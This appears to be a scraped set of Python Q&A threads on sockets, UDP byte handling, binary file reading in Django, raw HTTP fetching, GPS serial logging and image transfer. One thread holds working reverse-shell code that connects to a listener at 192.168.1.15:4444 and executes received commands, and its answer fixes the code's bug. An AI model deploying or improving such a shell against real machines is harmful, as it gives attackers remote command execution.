Python3 Bytestreams and UDP - python-2.7

I'm trying to send a packet that needs to arrive at its destination as hex in the form:
01 02 a1 a2 b1 b2
In Python2, the UDP method to send that would be:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.send(message, (UDP_IP, UDP_Port))
Message could be passed a hex string like:
\x01\x02\xa1\xa2\xb1\xb2 and that would arrive in the correct format.
In Python3, I cannot pass message the same value without getting the error str does not support the buffer interface. The problem then being is that if I pass message a bytestream b'\x01\x02\xa1\xa2\xb1\xb2' It will not arrive in the correct format.
Has anyone got any suggestions (other than port to 2.7)?
#!/usr/bin/python3
#Import block
import gzip, zlib
import time
import binascii
import struct
import socket
#Start of code
def compress():
"""The function to compress the packet"""
with open('results/file', 'r') as f:
'''Open the file with all the stuff in'''
for lines in f.readlines():
'''Each line represents one packet that will be sent'''
lines = (lines.strip("\n")) #Make sure their are no stray new lines
lines = lines.encode('UTF-8') #Encode for compression
compressed = gzip.compress(lines, 6)
pureHex = (binascii.hexlify(compressed))
return pureHex
def generator(pureHex):
"""The function to add the additional information to the packet"""
packet = [pureHex[i:i+2] for i in range(0, len(pureHex), 2)]
packet = b'\\x' + b'\\x'.join(packet) #Add the \\x that's needed
packet = packet.decode('UTF-8') #Requires decoding to remove the silly second \ that you have to add
return packet
def post(packet):
"""The function to post/send the message via UDP"""
sock.sendto(packet, (UDP_IP, UDP_PORT))
if __name__ == '__main__':
sock = socket.socket(socket.AF_INET,
socket.SOCK_DGRAM)
UDP_IP = "101.101.101.101" #Target IP Address
UDP_PORT = 5010 #Target Port Number
pureHex = compress()
packet = generator(pureHex)
post(packet)

You should send compressed directly and drop all other code that converts bytes to a hex string only to try to convert it back using an pseudo-emulation of Python representation for bytestrings.
Learn how bytes differ from their hex representation in Python source code:
>>> import binascii
>>> b = binascii.unhexlify('0102') # hex string to bytes
>>> b
b'\x01\x02' # representation: repr(b)
>>> len(_)
2
>>> b'\\x01\\x02' #XXX it is not what you want
b'\\x01\\x02'
>>> len(_)
8
>>> repr(b)
"b'\\x01\\x02'" # repr of a repr
>>> repr(repr(b))
'"b\'\\\\x01\\\\x02\'"' # repr of a repr of a repr

You need encode the packet. Change the line:
post(packet)
to:
post(bytes(packet,"utf-8"))
This worked for me.

Related

WindowsError: [Error 123] The filename, directory name, or volume label syntax is incorrect

I'm making a simple Python 2.7 reverse-shell , for the directory change function everytime I type cd C:\ in my netcat server it throws this error "WindowsError: [Error 123] The filename, directory name, or volume label syntax is incorrect: 'C:\\n'" Here is my code.
import socket
import os
import subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = "192.168.1.15"
port = 4444
s.connect((host, port))
s.send(os.getcwd() + '> ')
def Shell():
while True:
data = s.recv(1024)
if data[:2] == 'cd':
os.chdir(data[3:])
if len(data) > 0:
proc = subprocess.Popen(data, shell = True ,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
result = proc.stdout.read() + proc.stderr.read()
s.send(result)
s.send(os.getcwd() + '> ')
print(data)
Shell()
When you use data = s.recv(1024) to receive data from remote, the \n character, generated when you press Enter to end current input, will be received at the same time.
So you just need to .strip() it, or use [:-1] to remove the last character (which is \n), when you get data.
data = s.recv(1024).strip()
or
data = s.recv(1024)[:-1]
may both OK.

open pdf without text with python

I want open a PDF for a Django views but my PDF has not a text and python returns me a blank PDF.
On each page, this is a scan of a page : link
from django.http import HttpResponse
def views_pdf(request, path):
with open(path) as pdf:
response = HttpResponse(pdf.read(),content_type='application/pdf')
response['Content-Disposition'] = 'inline;elec'
return response
Exception Type: UnicodeDecodeError
Exception Value: 'charmap' codec can't decode byte 0x9d in position 373: character maps to < undefined >
Unicode error hint
The string that could not be encoded/decoded was: � ��`����
How to say at Python that is not a text but a picture ?
By default, Python 3 opens files in text mode, that is, it tries to interpret the contents of a file as text. This is what causes the exception that you see.
Since a PDF file is (generally) a binary file, try opening the file in binary mode. In that case, read() will return a bytes object.
Here's an example (in IPython). First, opening as text:
In [1]: with open('2377_001.pdf') as pdf:
...: data = pdf.read()
...:
---------------------------------------------------------------------------
UnicodeDecodeError Traceback (most recent call last)
<ipython-input-1-d807b6ccea6e> in <module>()
1 with open('2377_001.pdf') as pdf:
----> 2 data = pdf.read()
3
/usr/local/lib/python3.6/codecs.py in decode(self, input, final)
319 # decode input (taking the buffer into account)
320 data = self.buffer + input
--> 321 (result, consumed) = self._buffer_decode(data, self.errors, final)
322 # keep undecoded input until the next call
323 self.buffer = data[consumed:]
UnicodeDecodeError: 'utf-8' codec can't decode byte 0xe2 in position 10: invalid continuation byte
Next, reading the same file in binary mode:
In [2]: with open('2377_001.pdf', 'rb') as pdf:
...: data = pdf.read()
...:
In [3]: type(data)
Out[3]: bytes
In [4]: len(data)
Out[4]: 45659
In [5]: data[:10]
Out[5]: b'%PDF-1.4\n%'
That solves the first part, how to read the data.
The second part is how to pass it to a HttpResponse. According to the Django documentation:
"Typical usage is to pass the contents of the page, as a string, to the HttpResponse constructor"
So passing bytes might or might not work (I don't have Django installed to test). The Django book says:
"content should be an iterator or a string."
I found the following gist to write binary data:
from django.http import HttpResponse
def django_file_download_view(request):
filepath = '/path/to/file.xlsx'
with open(filepath, 'rb') as fp: # Small fix to read as binary.
data = fp.read()
filename = 'some-filename.xlsx'
response = HttpResponse(mimetype="application/ms-excel")
response['Content-Disposition'] = 'attachment; filename=%s' % filename # force browser to download file
response.write(data)
return response
The problem is probably that the file you are trying to using isn't using the correct type of encoding. You can easily find the encoding of your pdf in most pdf viewers like adobe acrobat (in properties). Once you've found out what encoding it's using you can give it to Python like so:
Replace
with open(path) as pdf:
with :
with open(path, encoding="whatever encoding your pdf is in") as pdf:
Try Latin-1 encoding this often works

Print 3000 first characters from the file online using sockets

So I am doing this ungraded assignment from an online course (so please do not hesitate to post solutions to this nemesis of mine).
Assignment open the file from the webpage using import socket,prompt the user for the url, print 3000 first characters including header, but count all of the characters in the file.
So first I have done this:
import socket
import re
url = raw_input('Enter - ')
try:
hostname = re.findall('http://(.+?)/', url)
hostname = hostname[0]
mysock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
mysock.connect((hostname, 80))
mysock.send('GET ' + url + ' HTTP/1.0\n\n')
count = 0
text = str()
while True:
data = mysock.recv(512)
if ( len(data) < 1 ) :
break
count += len(data)
if count <= 3000:
print data
mysock.close()
except:
print 'Please enter a valid URL'
print count
But every time I adjust the buffer in the mysock.recv() the output changes and I get random spaces inside the text.
Then I've done this which eliminated the funky random splits in lines but the output still differs depending on the buffer inside.
import socket
import re
url = raw_input('Enter - ')
try:
hostname = re.findall('http://(.+?)/', url)
hostname = hostname[0]
mysock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
mysock.connect((hostname, 80))
mysock.send('GET ' + url + ' HTTP/1.0\n\n')
count = 0
text = str()
while True:
data = mysock.recv(512)
if ( len(data) < 1 ) :
break
count += len(data)
if count <= 3000:
data.rstrip()
text = text + data
mysock.close()
except:
print 'Please enter a valid URL'
print text
print count
So I've been at it for several hours now and still can't get the exact same output regardless of the size of the buffer without funky line splitting spaces in there.
the file that I use: http://www.py4inf.com/code/romeo-full.txt
I'm studying on same book and i'm on same exercise. Question is 3 years old but don't give af, maybe is helpful for someone.
On first you can't print data in that way. You need something like this:
while True:
data = mysock.recv(512)
if len(data) < 1:
break
print(data.decode(),end='')
Also, it's perfectly normal that you haven't same results if you change the buffer 512 because count variable depends on it. Anyway the author asked just to stop after showing 3000 chars.
My full code (will works only with HTTP, HTTPS not handled):
import socket
import sys
import validators
import urllib.parse
url = input('Insert url to fetch: ')
# Test valid url
try:
valid = validators.url(url)
if valid != True:
raise ValueError
except ValueError:
print('url incorrect')
sys.exit()
# Test socket connection
try:
mysock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print('\nSocket successfully created')
except socket.error as err:
print('Socket creation failed with error %s' %(err))
# Extract hostname of url
parsed_url = urllib.parse.urlparse(url)
print('Resolving ->', parsed_url.netloc)
# Test if we can resolve the host
try:
host_ip = socket.gethostbyname(parsed_url.netloc)
except socket.gaierror:
print('Unable to resolve', parsed_url.netloc)
sys.exit()
# Connect to host
mysock.connect((parsed_url.netloc, 80))
# Crafting our command to send
cmd = ('GET ' + url + ' HTTP/1.0\r\n\r\n').encode()
# Sending our command
mysock.send(cmd)
count = 0
# Receive data
while True:
data = mysock.recv(500)
count += len(data)
if len(data) < 1:
break
if count > 3000:
break
print(data.decode(),end='')
mysock.close()
Could be the solution, maybe

Unable to write to file using Python 2.7

I have written following code I am able to print out the parsed values of Lat and lon but i am unable to write them to a file. I tried flush and also i tried closing the file but of no use. Can somebody point out whats wrong here.
import os
import serial
def get_present_gps():
ser=serial.Serial('/dev/ttyUSB0',4800)
ser.open()
# open a file to write gps data
f = open('/home/iiith/Desktop/gps1.txt', 'w')
data=ser.read(1024) # read 1024 bytes
f.write(data) #write data into file
f = open('/home/iiith/Desktop/gps1.txt', 'r')# fetch the required file
f1 = open('/home/iiith/Desktop/gps2.txt', 'a+')
for line in f.read().split('\n'):
if line.startswith('$GPGGA'):
try:
lat, _, lon= line.split(',')[2:5]
lat=float(lat)
lon=float(lon)
print lat/100
print lon/100
a=[lat,lon]
f1.write(lat+",")
f1.flush()
f1.write(lon+"\n")
f1.flush()
f1.close()
except:
pass
while True:
get_present_gps()
You're covering the error up by using the except: pass. Don't do that... ever. At least log the exception.
One error which it definitely covers is lat+",", which is going to fail because it's float+str and it's not implemented. But there may be more.

sending images using python tcp socket

i'm new in python and english :). i'm trying to send an image file usşng python sockets and i have written this cosdes. it says it work but i get an empty file or missing image file.
this is the codes i've written:
server:
import socket
host = socket.gethostname()
port = 5000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(1)
sunucu , adres = s.accept()
print "baglanti saglandi"
def recvall(baglanti, buf):
data = ""
while len(data) < buf:
packet = baglanti.recv(buf - len(data))
if not packet:
return None
data += packet
return data
f = open("ggg.png", "w")
while True:
veri = sunucu.recv(512)
if not veri:
break
f.write(veri)
f.close()
print "resim alindi."
sunucu.close()
s.close()
and client:
import socket
host = socket.gethostname()
port = 5000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host , port))
f = open("ornekresim.png", "r")
while True:
veri = f.readline(512)
if not veri:
break
s.send(veri)
f.close()
print "resim gonderildi"
s.close()
By default the Python function open opens file in text mode, meaning it will handle all input/output as text, while an image is decidedly binary.
A file in text mode will do thing like translating newline sequences (which are different on different systems). That means the data you read will be corrupted.
To open a file in binary mode, then append 'b' to the mode flags, like e.g.
f = open("ornekresim.png", "rb") # <-- Note the 'b' in the mode
However, with your code this leads to another problem, namely that you can't use readline anymore. Not that it made much sense anyway, reading binary data as lines since there are no "lines" in binary data.
You have to use the read function instead.